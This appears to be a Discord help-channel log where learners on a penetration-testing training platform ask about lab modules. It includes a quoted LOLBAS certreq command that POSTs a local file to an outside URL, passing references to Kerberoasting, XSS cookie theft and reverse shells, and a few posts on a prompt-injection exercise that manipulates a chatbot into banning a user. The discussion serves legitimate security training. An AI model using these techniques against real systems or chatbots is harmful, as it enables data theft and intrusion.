#modules

1 messages · Page 408 of 1

dark jay
#

ye i was

#

its alright i leared openssl aslo )::

fathom pendant
#

Footprintning yeah?

dark jay
#

road to CPTS (reaaaaly long distance)

fathom pendant
#

Could also be an issue of timeout over that method

dark jay
#

yea, do you have CPTS?

fathom pendant
#

No

dark jay
#

yea i challenged myself to do pen tester job path in 35 days

fathom pendant
dark jay
#

and before sleeping i go back

#

to look what i have done

fathom pendant
#

Also curl -k worked for me

dark jay
dark jay
sand ember
#

@sage quest : If you still need some help, you can DM 🙂

fathom pendant
tender nimbus
#

Hey guys does anyone know how to find this awnser from hashcat password cracking? ****

image.png
hardy spire
#

if it is about getting into dev i need nudge too sadglas

tender nimbus
#

I found a pasword in the ntds.dit file but the awnser is completely different and I don't understand how you get to there

gray yacht
fathom pendant
brave prawn
hardy spire
tender nimbus
leaden jungle
#

hello there! Hope to be in the right place. I just finished the "introduction to malware analysis" module and all the bin exploitation path. I'm quite prepared in reversing and binary exploitation (thx to pwn.college). I really would go deeper in malware analysis. Do you have any suggestions or resources? 🙏

iron pike
#

hiii

#

Someone to study with?

#

Intro to Network Traffic Analysis

#

---- + 0 If I wish to start a capture without hostname resolution, verbose output, showing contents in ASCII and hex, and grab the first 100 packets; what are the switches used? please answer in the order the switches are asked for in the question. -----

#

its all the time Incorrect answer

pulsar tusk
#

Hello there, why cant i write messages on #general

iron pike
#

I can't send messages in the General channel. It shows that I don't have permission

cloud urchin
inland juniper
#

Hey guys,
I'm stuck in the module "Pentest in a Nutshell" in the "Windows privilege escalation".

I cannot answer the question which type of privilege escalation was used.

Overall I did the whole escalation on my own. But I don't know how it is called. Even ChatGPT camnot help..

Please help, I'm already frustrated and want to finalize this last answer.

Thanks!!

tulip copper
#

Hello, I have an issue with module AD attacks section: Attacking Domain Trusts - Cross-Forest Trust Abuse - from Linux

I want to perform kerberoasting cross forest , but through a tunnel from my linux machine passing by the provided box. I used ligolo and set up local dns. but I get connection refused :
cmd: GetUserSPNs.py -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/forend

image.png
#

It works fine when I dont use tunnel and from the provided machine

#

thank you 🙂

fathom pendant
tulip copper
#

I have both domains in hosts

fading ridge
#

Hi anybody that did sliver c2 module recently

wise fjord
#

Hey, I think there's an issue with the Module 3 practical lab ("Windows Event Logs & Finding Evil") in the SOC Analyst path. We're supposed to analyze event ID 4624, but it's missing from the Event Viewer on the RDP machine—even after applying the filter. I’ve attached a screenshot as proof.

#

someone can help me?

fathom pendant
scarlet garnet
#

Hi everyone , i need help with T.E T.E http attacks

red shard
#

Hello there

#

Why can't I talk in general?

#

@edgy juniper can you tell me

storm elk
pliant sage
#

hello, could I dm someone about the second skill assessment in the nosql injection module?

scarlet garnet
#

Hi everyone , i need help with T.E T.E http attacks
anyone please

obsidian hound
#

hi

#

I'm doing the Intro to Academy's Purple Modules module and I'm exploiting CVE-2024-22120, in the question Exploit the CVE-2024-22120 vulnerability on the spawned target and enter the content of the root.txt file located at the /root directory as in your answer. but for some reason it doesn't work for me in any way. Can anyone give me more details?

scarlet garnet
#

???

rough comet
#

Hello folks

obsidian hound
#

I'm trying to exploit that CVE but I have no results and it gives me an error.

rough comet
#

On “INTRO TO WINDOWS EVASION - DYNAMIC ANALYSIS”

obsidian hound
rough comet
#

I’m getting a GPO error . When trying to get a reverse shell

#

May I assume that expected , assuming the scan flagged it ? I don’t think so

#

I’m not admin to disable GPOs on target . Any nudges please ? 99.99% sure my super shell via Micro shell is good to go 🙂

alpine ingot
#

I'm so lost on the linux priv esc skill assessment, i cant get flag4. Can i get a nudge?

rough comet
#

This does not look like a scanning issue.

#

What Am I missing here? 🙂

steep drum
#

Hi! I’m working on an HTB module that says:

"Aside from blogs related to retired HTB boxes, it is also worth seeking out blog write-ups on recent exploits/attacks, Active Directory exploitation techniques, CTF event write-ups, and bug bounty report write-ups."
I’d love to know, what are your favorite websites covering these topics?

fathom pendant
#

Iirc

rough comet
#

Yeah I tried that

#

No success . Let me try later at home . Leaving work 👍

remote latch
#

Pivoting, Tunneling, and Port Forwarding

Skill Assesment:

does anyone have reliable way of performing nmap scans of remote hosts

i sometimes get that the host is up, sometimes not
but ALWAYS no matter what i try, the ports (3389 specifically but others too) are always filtered

the earlier sections touched briefly upon that but it doesnt work...

Host is up.

PORT     STATE    SERVICE       VERSION
3389/tcp filtered ms-wbt-server
#

i can connect to the port but i cant perform general nmap scans

fathom pendant
#

sudo

remote latch
tulip copper
tulip copper
remote latch
remote latch
#

When I do my routing properly

But I can't ping nor nmap scan it

tulip copper
#

you cant ping because often the target unreachable windows host blocks icmp packets

#

what command you used?

remote latch
#

i guess its that

west arrow
#

Im stuck on a module, I have found the flag but it won't take it.
Module link: https://academy.hackthebox.com/module/19/section/108
Page name: Nmap scripting engine (NSE)
The question is "Use NSE and its scripts to find the flag that one of the services contain and submit it as the answer."
I have tried nmap -sV <ip address> -sC' and indeed in one of the services I get the flag HTB{code}, I copy it and it doesn't work, Ive also tried putting in only the code inside the parentethis but nothing

remote latch
#

in the field for the flag

west arrow
#

no spaces

quiet halo
#

I read this yesterday when I was tired and now re-reading it now makes so much sense

lime cosmos
#

am trying to setup a nfs server on my mv but it get error while mounting the directory

sudo mount -t nfs 192.168.204.48:/home/kali ./target-NFS/ -o nolock               32 ↵

mount.nfs: access denied by server while mounting 192.168.204.48:/home/kali
╭─kali@kali ~ 
╰─$ cat /etc/exports                                                                  32 ↵
# /etc/exports: the access control list for filesystems which may be exported
#        to NFS clients.  See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes       hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4        gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes  gss/krb5i(rw,sync,no_subtree_check)
#
/home/kali  10.129.14.0/24(sync,rw,no_subtree_check)
╭─kali@kali ~ 
╰─$ showmount -e 192.168.204.48                                        
Export list for 192.168.204.48:
/home/kali 10.129.14.0/24
languid creek
#

Anyone know how to deal with incredibly unstable RDP connections on academy? I'm trying to finish off the footprinting modules, but the final challenges have RDP machines that crash on me within a minute of accessing them. I've tried multiple different connection tools, my own VPNd machine, the parrot box HTB gives you, but it clearly seems to be a server side issue. I have to reset their box for it to work again, and even when I reset it, the RDP machine works for maybe 30 seconds and becomes inaccessible after it inevitably crashes.

wispy mortar
#

Hello, can someone help me with the AD trusts attacks skill assessment ? I am getting error KDC_ERR_PADATA_TYPE_NOSUPP but have no idea where the issue is.

alpine ingot
#

would anyone who finished the linux priv esc module be willing to help me out on the skill assessmen?

rare swan
#

Can I reset all progress on my HTB account without deleting it?

west arrow
safe star
gray yacht
rare swan
cunning berry
#

hi, i'd appreciate some advice on Password Attacks Lab-hard. i'm trying to move the Backup.vhd. i notice it does not work with smbclient due too being too large. i have attempted to move it with ||smbserver.py|| it just hangs... it will show the file on my attacker machine, but when i try to convert it to a hash to crack it says its missing its signature. i have also tried to move it with xfreerdp || /drive:starr,/home/kali/xxxxx/xxxxx || i open powershell as david and || move Backup.vhd \tsclient\starr || and it just hangs.

marble ginkgo
rustic sage
#

I'm stuck on the android security question

Which Signature Scheme versions are vulnerable to CVE-2017-13156? (Format: 3 words)

anyone have any idea how they want the answer to be formatted. I've tried quite a few different ways

winter schooner
sly pike
ocean night
sly pike
#

Read the file.

deep pier
#

Could any1 pls guide me on some of the Linux fundamentals bit where I have to find the student home directory I've found the answer in a forum but I don't want to use the answer without understanding how u get to it

ocean night
#

I'd probably read back over the relevant module and section, and try to come to that understanding yourself

cunning berry
ocean night
#

Don't just search for answers, it doesn't help you learn at all @deep pier

#

That said, as it is a Tier 0 module, you can just flat out ask your question here @deep pier

#

Just know that for module above Tier 0, posting direct questions like that is not permitted.

thin parrot
#

24 hours later still trying to figure out the foothold...

#

In Shells & Payloads -> The Live Engagement there is this question

image.png
#

I did a quick search and found that there is a ||stageless payload that utilizes an exploit through a PUT request that seems harmless due to the payload being base64 encoded.|| However I'm realizing that I have yet to figure out how you're expected to find the credentials for the server configuration panel.

gray yacht
thin parrot
# gray yacht Enumerate your foothold a little bit.

Well, I have. I've tried finding ||hidden directories that may show a webpage or somewhere in the html that may feature a lingering comment with credentials|| and all I was able to find was the username. I'm not sure what I'm missing here

gray yacht
thin parrot
fathom pendant
cunning berry
fathom pendant
#

try using the tcp vpn -> setting it up again

cunning berry
#

I use tcp VPN. Perhaps I’ll try downloading a new VPN file.

deep pier
#

I'm also confused with how the SSH works

thin parrot
#

good god is there any reason why the foothold is so slow???

misty pine
#

Has anyone finished the Skills Assessment 2 in the "Introduction to Windows Evasion Techniques" module? My file passes the checks but I can't get a shell to get the flag.

simple wolf
#

Hey, I just began the intro to linux module (newbie here). I'm on the question asking for the kernel release that is installed on the system in the VM. I've used the uname -r command and the output isn't being accepted as an answer. I've navigated to different files that could have this infomation, but it's all the same. Anyone have any idea?

cloud urchin
simple wolf
#

Yeah that's the format I used. Here's what is output: 6.11+parrot-amd64

cloud urchin
#

Looks like you're doing it on the pwnbox instead of the target

#

or maybe your own VM

#

You need to SSH into the spawned target then use the command

simple wolf
#

Ah gotcha. I'll give it a go

#

Yeah once logged in via ssh it still outputs the same. How do I get into the spawned target?

cloud urchin
#

Are you using the built-in pwnbox or your own virtual machine on the vpn?

fathom pendant
#

spawn instance != spawn target

#

they are completely different things

#

instance == pwnbox == in browser vm

#

target == victim vm == the thing you're connecting to for the exercise

hardy spire
#

does anyone remember the name of browser extension that redacted the module answers or even question? i wanted to redo few modules

cloud urchin
hardy spire
#

thanks

weak current
signal hound
#

Sql injection fundementals skills assessment
I cant find a directory where i can write a webshell file
Can i get a nudge

coral portal
#

i'm currently running into this issue

#

I ssh in, after a short while the ssh freezes, machine doesn't respond to pings

#

it's worth noting the machine itself seems very, very slow

#

i'm wondering if it's running out of ram, maybe

winged steeple
#

nevermind, think I worked it out 😄

coral portal
winged steeple
#

actually im still stuck, casting it to a string dont even work ? 😄

storm elk
#

@winged steeple dm me

#

show me what you got 🙂

winter schooner
#

And using sql you had to read contents of the file

winter schooner
weak current
winter schooner
viscid crescent
#

Why suscribe as gold or platinum monthly does not include tier 3 modules?

storm elk
#

the monthly plans will just give you cubes

#

so you can access any module with them if you have enough cubes

winged steeple
storm elk
#

only student sub gives access to all modules up to tier 2

woeful spoke
#

how to get the http service and api attacks module free?

deep pier
#

I've got a question I've managed to work out how to ssh into the machine and it's saying the authenticity of host can't be established this is hack the box which is my first time doing it

#

Should I continue or press no?

novel shoal
#

everytime you need to ssh to new machine you always need to do this

storm elk
woeful spoke
#

bro

#

i cant all module i can have its i pay 10 cube for get 10 cube

storm elk
#

participate in the season, get cubes free

#

or giveaways

woeful spoke
#

where pleae

#

...

storm elk
#

this isnt a live chat support

woeful spoke
#

just say me

storm elk
#

be patient

woeful spoke
#

ok

#

i open a live chat support

storm elk
woeful spoke
#

ok thx

storm elk
#

Here. Next time, be patient and wait a bit longer than 10 seconds to write ...

deep pier
#

Why is it saying that SSH connection is closed by port 22 and how do I fix it?

novel shoal
#

maybe it opens on other port

#

you can try to do port scanning to find the open port for ssh

deep pier
novel shoal
deep pier
#

I can't send pics here so ill js dm u if that's fine with u

#

@novel shoal

#

Jokky?

novel shoal
#

It seems like you need to ssh to machine first

#

try to ssh to machine again

#

if the port 22 is still closed you need to do port scanning to find the open ssh port

deep pier
#

Ok thx

sand sedge
#

i'm stuck at -SQLMAP ESSENTIALS->skill assesment i searched the entire web app i found a request with json data and tested it it does not seem that it have some bypasses , it found a sqli but does not give me any data retrieved ,and this is the only form that gives me params so i can test it in sqlmap , can someon guide me on it

novel shoal
sand sedge
novel shoal
sand sedge
novel shoal
#

yes

coarse trout
#

hey guys im doing soc analyst prerequisites and doing web requests module and i dont understand this error i did the same commands earlier

rn_image_picker_lib_temp_ec55f085-0ebd-4f26-bbad-3f3853e97988.jpg
#

oh wait nvm i figure it out

#

nvm i still didnt figure it out

inland juniper
coarse trout
#

silly me Kappa

quartz sundial
#

This module page is written... in a very unclear way for a beginner.

https://academy.hackthebox.com/module/143/section/1485

  1. Where does the author get the username "damundsen" from? I understand that the username corresponds to the user "Dana Amundsen," but how was the "damundsen" username obtained through PowerShell/PowerView? The author just mentions it in the explanation, but it's not shown anywhere in the command output, so it's impossible to logically follow the thought process.

  2. How exactly do you “switch to the wley user”? It says “set the wley user as our starting node,” but how do you actually do that?

I'm going through this as part of CPTS prep. It's clear that you already need to know how to use BloodHound and understand Active Directory in order to follow this module...

#

This is my screenshot. Here I’ve selected the user WLEY. Where is the "Outbound Control Rights" block? I only see "INBOUND CONTROL RIGHTS". Does that mean I’m searching incorrectly?

image.png
dark hedge
#

which module and section is this

quartz sundial
forest zenith
#

Hello! Im stuck on the question What version of the SMB server is running on the target system? Submit the entire banner as the answer. of the SMB part of the module footprinting

#

I have tried everything to grab the banner

#

but htb does not give me right answer

shadow grove
high stream
#

I'm stuck in LFI php filter part Question I run the fuzzing command correctly but the out is the all word list in the word list, it's not export me only the valid one, anyone can help me on this?

forest zenith
#

I have tried nmap multiple ways, rpc enumeration, enum4linux, enum4linux-ng and so on

#

nmap -sC -sV

#

nmap --script banner

scarlet garnet
#

Hi eeryone I need help with TE TE http attacks, will anyone help me please

forest zenith
#

no luck so far

#

also used smbclient

quartz sundial
dark hedge
#

assuming you have knowledge of how usernames are generated within the environment you're testing (first initial + last name)

shadow grove
forest zenith
#

can I send them to you in dm?

shadow grove
#

Yeah

quartz sundial
dark hedge
#

ConvertFrom-SID $sid

forest zenith
#

or in the future

dark hedge
quartz sundial
quartz sundial
dark hedge
#

would be worth clarifying though how they got damundsen

quartz sundial
dark hedge
#

under OUTBOUND OBJECT CONTROL, try clicking Transitive Object Control

lime cosmos
#

hey i have problem on Footprinting - DNS module
i can't anser the last task

dark hedge
#

ah, i believe if you click First Degree Object Control under OUTBOUND OBJECT CONTROL, you should get the same graph

#

idk why it's not named OUTBOUND CONTROL RIGHTS. might be a different BloodHound version

#

i'll have to delete this though since it's revealing Tier II module content

dark hedge
quartz sundial
quartz sundial
weak current
floral acorn
#

Hi I am new

blazing loom
#

I have a base Debian machine with my Obisdian notes. I also have a Windows VM with a Powershell session. Is it possible to copy command line output from my powershell session into my Obsidian notes? I cannot get the copy-paste to work with my Windows VM. I have no problems when I'm running a Parrot VM copying to and pasting between my host and VM.

fathom pendant
#

virtualbox calls it bilateral copy/paste

blazing loom
#

Ah, I'm using virt-manager, so I don't see that anywhere. It just works seamlessly with a Linux VM.... but with a Windows VM, nope.

fathom pendant
#

@midnight sinew That module is above tier 0 please refrain from posting specifics about it, such as exploits or techniques

#

I didn't use proxychains, I used ligolo-ng for this fwiw

midnight sinew
#

Ty but where am i supposed to ask ? (next time)

fathom pendant
#

You can ask here, just don't reveal specifics

#

I am trying to double pivot: fine
I'm trying to access <machine name> from <machine name 2> to be able to use <specific exploit>: not fine

lime cosmos
#

Any hints

#

I try the many dns worldlists but still not find the subdomain

fathom pendant
#

This has been asked and answered a dozen times at least lol

west arrow
#

If anyone has some tips it would be helpfullprayge

fathom pendant
#

@west arrow module is above t0 please don't spoil stuff for skill assessments :)

winter schooner
west arrow
west arrow
fathom pendant
#

also t0 == tier of the module; tier 0-4

austere grail
#

yo guys for participating in CTFs is it better to follow the bug bounty hunter path or the pentester path

fathom pendant
#

tier 0 are "free" modules

fathom pendant
west arrow
#

why could it be that i could find the flag in the "Firewall and IDS/IPS Evasion - Hard Lab" on the academy PWN box but not on my VM?

full wagon
#

Windows Privilege Escalation - Skills assessment 1:
My Kali works fine normally, everything worked fine during the other modules, but working on the skills assessment, after getting a shell and while enumerating my session just hangs. Like totally, so I have to just shut the VM down and restart it. It's so odd. Never experienced this before and it's so weird. I have noticed a lot of latency while running commands on the target. But even though the target might be slow it shouldn't like completely freeze my attacking VM..? Anyone have experienced anything similar?

west arrow
#

Ive been doing a nmap and it said it would take 1h, then used the modules PWN box and it did in in less than half a minute @full wagon

#

Could be vpn servers overloaded or something

#

Or use the web VM if your using your own

full wagon
acoustic depot
#

Footprinting
Medium Lab

I've got into the Windows user and found sa credentials for MSSQL, but keep getting generic error messages when trying to use them to log into SSMS (persisted after resetting target box), am I on the complete wrong track?

fathom pendant
fathom pendant
fathom pendant
lime cosmos
#

Hey

#

I. am stuck footprinting DNS

IMG_20250409_180116_675.jpg IMG_20250409_180112_912.jpg
fathom pendant
#

Don't reveal content: module is above t0

lime cosmos
#

Where ?

fathom pendant
#

dig axfr the base domain; sub.sub.domain.htb

fathom pendant
lime cosmos
#

Ok I get it

lime cosmos
#

I used to be afraid of wasting my time if I did it

fathom pendant
pseudo kiln
#

Is it ok if I use the pwnbox to do portswigger labs ?

leaden island
#

yo guys

#

im on living off the land section

#

of file transfers

#

im trying to use certreq.exe for uploading a file to my linux

#

heres the command im using

# 
txt```
#

and im getting this error

#

anybody has an idea

high reef
#

Are there any cloud modules ?

leaden island
#

heres the syntax from LOLBAS


    Send the specified file (last argument) to the specified URL via HTTP POST and show response in terminal.

    CertReq -Post -config https://www.example.org/file.ext C:\Windows\Temp\file.ext

    Use case
        Upload

    Privileges required
        User

    Operating systems
        Windows 10, Windows 11

    ATT&CK® technique
        T1105: Ingress Tool Transfer
high reef
#

I know there are business professional services for cloud, but any for us regular not business ppl

frozen mesa
#

Prompt Injection Attacks --> Skills Assessment --> Assistant:(Alice), I'm happy to inform you that your account has been successfully banned .

where can i get the flag?

leaden island
#

THM has far better support ngl

frozen mesa
faint geode
frozen mesa
frozen stone
#

Anyone who can help with XSS Filter Bypasses in the Advanced XSS and CSRF Exploitation module?

west arrow
fathom pendant
#

Any is a deprecated functionality; but maybe look somewhere else

#

Also you still have the subdomain in your pasted result

rugged bolt
#

hey everyone I'm working through Password Attacks/Protected files. The lab is to brute force the password of Notes.zip. I have created my hash file and tried to run John and hashcat against it but its finishing very quickly with zero results even though I've made sure the hash file is in correct format. anyone have a hint for this?

fathom pendant
#

The main point of digging the base domain is to get the list of all potential subdomains to sniff in: maybe look for stuff you didn't access before

fathom pendant
rugged bolt
#

yeah I'm using a mutated wordlist I created a few sections back but its as if its not running because its finishing in a couple seconds

safe star
#

John and hashcat can finish rockyou in seconds depending on the hah type

#

Mutated list is tiny in comparison

rugged bolt
#

eh I dont think my pc is that good lol

image.png
safe star
#

Did you mutate correctly?

#

Looks like you’re running a list mutated for kira

rugged bolt
#

Yep, its mutated correctly. This lab question has to do with user Kira, so it makes sense to try against her mutated password list first rather than use rockyou.

image.png
fathom pendant
#

Use the larger list

#

Just in case

safe star
#

Its worth a shot to do the whole list

fathom pendant
#

Never make full assumptions

safe star
#

It will take 1 second

rugged bolt
fathom pendant
#

You are assuming it's correct; but not checking other possibilities

fathom pendant
rugged bolt
fathom pendant
#

Larger list == the full mutated list, not the clipped version "for kira"

hazy palm
#

Hello i had a question about a challenge called SideClimbers

rugged bolt
#

Thanks for the tips TLattice and ML, I see I should've been more thorough tryying the wordlists first. felt like I was doing something wrong because it was finishing so quickly

deep pier
#

Is there any way I can access the pwnbox besides constantly waiting for 1

fathom pendant
lime cosmos
weak current
quiet halo
#

DNS has always been designed to use both UDP and TCP port 53 from the start, with UDP being the default, and falls back to using TCP when it cannot communicate on UDP, typically when the packet size is too large to push through in a single UDP packet.

#

cant the UDP packet be split into multiple?

#

if that data is 1500 bytes and every UDP packet can hold 512 bytes, then it could be split into 3 packets, no?

silk lagoon
rose stratus
#

I'm on the Web Server Pivoting with Rpivot section, Question: Using the concepts taught in this section, connect to the web server on the internal network. Submit the flag presented on the home page as the answer. I've set everything up but I can't seem to load the internal page using proxychains firefox-esr 172.16.5.129:80. However, I can see the raw output of the default Apache website if i run command : curl --socks4 127.0.0.1:9050 172.16.5.129:80. But where is the flag????

fathom pendant
heady cove
#

help me plz in android fundamentals Find the UID of the application com.android.settings. Use the command adb shell ls -l /full/path/ to inspect the file permissions and identify the application's UID from the output. i found the uid but its wrong why&

waxen totem
cloud urchin
#

your errors are network related, i would go over all the configurations and settings again and make sure they're accurate

waxen totem
#

can you try proxychains curl ? I have a suspicion its your proxychains conf

cloud urchin
#

also those are from the mozilla servers

spring mirage
#

All right, this Intro to Assembly Language Skills Assessment is killing me. I finally got the first task done after struggling, but now I'm stuck on task 2. This stupid flag.s file is driving me insane lol. Any helpful tips?

waxen totem
#

try socks4 127.0.0.1 9050

cloud urchin
#

This doesn't tell me much of anything. The error is clear, timeout means your packets are timing out before reaching the target. That tells me you have a misconfiguration somewhere. You should comb through each and every aspect to ensure it's setup correctly. VPN/Pwnbox, target, the proxy config, ports, etc. When asking for help here it also helps immensely if you say which module and section you're on.

rose stratus
#

been using socks5 up to this point

fathom pendant
#

typically though; if the port is 9050: socks4 -- 1080: socks5

rose stratus
#

gotcha

fathom pendant
#

you'll generally know if A doesn't work try B; or just avoid the issue if possible by using ligolo-ng instead

simple wolf
#

We're good now!

pallid granite
#

finished an 8 hour module in 4 study days

safe star
heady cove
#

Sign the application myapp.apk and install it by either dragging and dropping it onto the device or using ADB. Make sure to first uninstall any previous versions of the app. After installation, tap on the app to start it. What is the message printed on the screen? how to sign the apk&

cinder cargo
spring mirage
cinder cargo
#

Probably not the most elegant approach- like print debugging In assembly, but it worked

spring mirage
cinder cargo
spring mirage
smoky holly
#

👍

weak current
eager ledge
#

Hi

Module: Windows Privilege Escalation
Section: Citrix Break Out
Section Link: https://academy.hackthebox.com/module/67/section/2502

I have got the flag in pmorgan's Downloads. To escalate privilege, I wanted to execute the powershell scripts. I could not find those scripts in the server. I am not sure how to transfer these scripts to the Windows machine. Can anyone help?

autumn pilot
#

Use some of the methods mentioned in the section or from the File Transfers module

wooden seal
#

Module {XSS}
Session hijacking
When trying to exploit blind xss on target (gets below error instead of cookies)

[Thu Apr 10 00:15:58 2025] redacted: Accepted
[Thu Apr 10 00:15:58 2025] redacted:[200]: GET /script.js
[Thu Apr 10 00:15:58 2025] redacted: Closing
[Thu Apr 10 00:15:58 2025] redacted: Accepted
[Thu Apr 10 00:15:58 2025] redacted: Closed without sending a request; it was probably just an unused speculative preconnection
[Thu Apr 10 00:15:58 2025] redacted: Closing
Any solution to fix this?

smoky apex
#

How do i hack any server

autumn pilot
#

you don't

mystic fjord
#

anyone else get this error in the skill assessment of crackmapexec module?

image.png
autumn pilot
#

Try with the alternative - netexec, and see if you get that error

mystic fjord
#

yeah i also try with netexec

image.png
#

i alredy upgrade cme

dense trail
#

helloo + 1 After performing a zone transfer for the domain inlanefreight.htb on the target system, how many DNS records are retrieved from the target system's name server? Provide your answer as an integer, e.g, 123.
i use this command to nslookup -type=NS inlanefreight.htb
search for query but i dont get anything what do i do

fathom pendant
#

DNS records != type=NS

#

when you specify -type=NS you're only going to get records that are labeled as => NS

safe star
#

and impacket

mystic fjord
mystic fjord
dense trail
#

no axfr wouldnt work

#

hmm

fathom pendant
#

yes, it would

#

don't rule things out unless you've already tried them

dense trail
#

okay i did it thanks

wooden seal
fathom pendant
wooden seal
#

but it think its pointing right

fathom pendant
#

it should point back to your own ip:port/index.php or whatever they had you make

wooden seal
#

yea its as u said

#

its making the get request for script.js then this > Closed without sending a request; it was probably just an unused speculative preconnection

#

its been 3 hours i m stuck on this

#

got it (i missed single quotes somehow even after copying the script content) sadglas

#

i did it 🎉

frozen mesa
#

Prompt Injection Attacks --> Skills Assessment --> CEO is banned, HackBot confirming this and gives an incorrect flag (HTB format). What now? Tried accessing admin panel as HackBot instructed but that still gives me an error: 'Access denied. Please provide in admin key in the GET-parameter "key".'

Tried several ways to send the admin key with GET parameters but none were taken.

Anyone any suggestions? HTB instructions are met but not sufficient enough to pass the test.

thin citrus
#

I am working on SA HTTPs/TLS Attacks but with padbuster I get 'Double check the Block Size and try again.' when I try to test padding vulnerability. I used the hash in the user cookie two times just as in the module is written and size 16 -encoding 1. Tried also difference sizes like 4, 8, 32. Nothing works. tested on endpoint /token and /admin. Can someone help me with this?

thin parrot
#

If anyone is able to confirm this for me just so I understand this concept... (relating to MSF)

Say we utilize some exploit to get a foothold on a system via reverse_tcp. However we're stuck with low permissions. We enumerate with our newfound position and find an outdated tool that has a known exploit that can help elevate our privileges. We background this task.

We then select this particular module, then set the session to the prior background session. If we were to perform the exploit now, is the payload carried through our initial foothold? Or is it not working in that particular way (not necessarily mounted on but rather parallel, or does it vary?)

elder hearth
#

Anyone able to dm me for hints regarding NTLM relay attacks - skills assessment Question 4 ?

supple dragon
waxen totem
#

@ember lake

  1. That's illegal
  2. Against server rules to solicit illegal activities
waxen totem
#

depending on the privilege escalation module it will create a new session or upgrade your current session account to gain additional privileges

thin parrot
jolly raptor
#

can someone help, i’ve connected the openvpn but can’t ping the destination

gentle glade
#

Hi everyone I'm solving Linux Fundamentals currently and I'm stuck on Working With Web Services part....can u guys suggest a solution for this question: Find a way to start a simple HTTP server inside Pwnbox or your local VM using "npm". Submit the command that starts the web server on port 8080 (use the short argument to specify the port number).

storm shard
#

Is the intro to binary reversing the only module that works on reversing?

frozen mesa
#

Anyone any tips for finishing skills assessment in prompt engineering attack? CEO banned, now i apparently need an summery, but I dont know where to get it.

jolly raptor
#

does anyone here use athena OS?

#

can’t seem to download braa on it

frozen mesa
grizzled schooner
#

Attacking AD and NTDS.dit

Got one set of creds from brute-forcing usernames and pw's - doesn't let me connect with winrm? Is this normal? Please @ with any responses, thanks!

gentle glade
gray yacht
elder hearth
dusty cedar
#

hello , I'm stuck in Introduction to Digital Forensics Skills Assessment , can anyone help

wet glen
#

Hi anyone know why I keep getting this error while attempting the second RDP in "RDP and SOCKS Tunneling with SocksOverRDP
" of "Pivoting, Tunneling, and Port Forwarding " module

image.png
frozen mesa
#

Prompt Injection Attacks --> skills assessment --> banned the CEO but apparently i have to get a summary from somewhere. Any one any directions since HTB does not tell anything about this part?

dense trail
#

can anyone help with file transfer module + 2 Download the file flag.txt from the web root using Python from the Pwnbox. Submit the contents of the file as your answer.
this one

#

i did it hehe

sage quest
#

nope still there

#

same problem

upper haven
alpine dome
#

In the Sliver C2 module, does enyone get the rpc error: code = Unknown desc = implant timeout when trying to upload beacons or other large files to a target machine? I have tried big timeout options but still it fails. Session is also alive and does not die during the upload.

quick crane
fresh stone
#

In attacking thick client applications. When looking at the memory map. How do we know which rows would contain sensitive information? The module chooses that specific row because it says it has read write protection set but i see that many other rows have the same protections so is it trial and error or is the something more to it?

stiff aurora
#

Hey guys, I working in the module "Kerberoasting - from Linux" but I can't find the way the get the password

rustic sage
#

Can anyone tell me that which linux distro is best for beginners who is shifting from windows to linux

ruby aurora
#

i need help with ctf event everything allowed (mainly steganography)\

fiery shell
#

Hi guys, can anyone help me with this question from Password Attacks module. Here is the question: Check the /tmp directory and find Julio's Kerberos ticket (ccache file). Import the ticket and read the contents of julio.txt from the domain share folder \DC01\julio. I have found the flag, but it keeps giving me an error. i have found and download julio.txt file, but it says that the answer in wrong. Thank you in advance

frozen stone
#

Hey guys, is there someone can help with "XSS Filter Bypasses" in the Advanced CSRF and XSS module?

slim otter
#

Hey all, just finished the remote port forwarding chapter in the Pivoting, Tunneling, and Port Forwarding module. The chapter explains steps to get a reverse shell through a pivot host to a host on the internal network, but the questions don't seem to relate to this at all. I tried to replicate the steps for practice and I was unable to, is this intended or have I probably messed up somewhere? Thanks!

#

"dont seem to relate" in the sense that they don't ask you to perform what it teaches...

sage void
#

If anyone could help me figure out in the shells and payloads module in the live engagement section how we know there is Java on the Apache tomcat sever and how to know which exploit to choose

leaden island
#

But they respond to questions almost immediately

rugged bolt
#

hey ya'll if im running hydra against a machines ssh service. Can I also run hydra against the same machines ftp service, or should you only attack one service at a time?

(Not sure if this belongs in this channel, lmk if I should delete)

steady pelican
#

Hello, I am on Introduction to Active Directory module.
I am stuck on AD Administration: Guided Lab Part I, When I am trying to RDP into machine, I am not able to login, but it does not load properly.
I tried revoking old VPN keys and changed my internet connection, still did not work. Please refer to the attached screenshot for reference. Any nudge would be helpful.

image.png
#

Same issue occur Pwnbox as well.

shadow grove
#

have you tried pressing enter a couple of times on the black screen?

dense trail
#

hello i am doing metalspoloit module and do i need to download another vpn file or it should be the same cuz i cant ping the host

#

and openvpn command fails sometimes

rugged bolt
quaint grail
#

Hello I can't connect to this can someone help me please ??

image.png
dense trail
fathom pendant
fathom pendant
#

you're using htb_student, the username is htb-student

quaint grail
#

ohhh bruh yeah sure...

fathom pendant
#

also, deducting points for using powershell in linux

rugged bolt
quaint grail
fathom pendant
#

bash/terminal

#

the ||$_|| icon in the menu bar

#

also you can fullscreen btw

quaint grail
dense trail
#

yea its the same for next module 😄 😄 😄 i cant ping but i can nmap that great finding

fathom pendant
#

@mellow turret this isn't a hacker4hire server, read the #rules

quaint grail
fathom pendant
dense trail
#

@fathom pendant Host is up (3.1s latency).
All 1000 scanned ports on 10.129.237.17 are in ignored states.
Not shown: 922 filtered tcp ports (no-response), 78 filtered tcp ports (host-unreach)
this means that it is not reachable right?

fathom pendant
mellow turret
fathom pendant
#

not search bar

#

also it's called the 'terminal'

fathom pendant
dense trail
#

thanks

fathom pendant
quaint grail
#

this ?

fathom pendant
#

the $_ icon as i said

sage flower
#

Hi.. Where can i ask for help resolving a task regarding
Introduction to Bash Scripting?

fathom pendant
#

also that's the search bar; not menu bar (at the top) right next to powershell, is the terminal

#

there's a wifi hacking module, but it won't teach you to specifically hack your schools wifi

quaint grail
fathom pendant
quaint grail
#

ohh okay

fathom pendant
#

you can generalize your question with the module/section and what you're attempting

sage flower
#

Ok. Im having prbolem whit a for loop.. It feel like im missing som part of the information but i cant understan if there is som hiden data over tha question or if there is only to use the data in the question.

#

Becus all the awnser im getting is wrong.

#

Im using the Exercise Script whit the question info

fathom pendant
#

break the question down because it's asking for several things

sage flower
